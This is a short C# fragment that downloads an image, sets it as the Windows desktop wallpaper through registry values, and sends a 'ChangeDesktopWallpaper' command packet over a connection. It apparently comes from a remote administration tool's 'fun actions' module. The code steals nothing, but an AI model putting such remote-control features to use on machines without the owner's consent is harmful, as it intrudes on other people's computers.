public static void Set(string url, DesktopWallpaperStyle style)
{
var s = new WebClient().OpenRead(url);
var img = System.Drawing.Image.FromStream(s);
var tempPath = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
img.Save(tempPath, System.Drawing.Imaging.ImageFormat.Bmp);
var key = Registry.CurrentUser.OpenSubKey(@"Control Panel\Desktop", true);
if (style == DesktopWallpaperStyle.Stretched)
{
key.SetValue(@"WallpaperStyle", 2.ToString());
key.SetValue(@"TileWallpaper", 0.ToString());
}
if (style == DesktopWallpaperStyle.Centered)
{
key.SetValue(@"WallpaperStyle", 1.ToString());
key.SetValue(@"TileWallpaper", 0.ToString());
}
if (style == DesktopWallpaperStyle.Tiled)
{
key.SetValue(@"WallpaperStyle", 1.ToString());
key.SetValue(@"TileWallpaper", 1.ToString());
}
SystemParametersInfo(SPI_SETDESKWALLPAPER,
0,
tempPath,
SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE);
}
public void ChangeWallpaper(string url, DesktopWallpaperStyle desktopWallpaperStyle)
{
LogService.Send((string)Application.Current.Resources["ChangeWallpaper"]);
var package = new List <byte>
{
(byte)FunActionsCommunication.ChangeDesktopWallpaper,
(byte)desktopWallpaperStyle
};
package.AddRange(Encoding.UTF8.GetBytes(url));
ConnectionInfo.SendCommand(this, package.ToArray());
}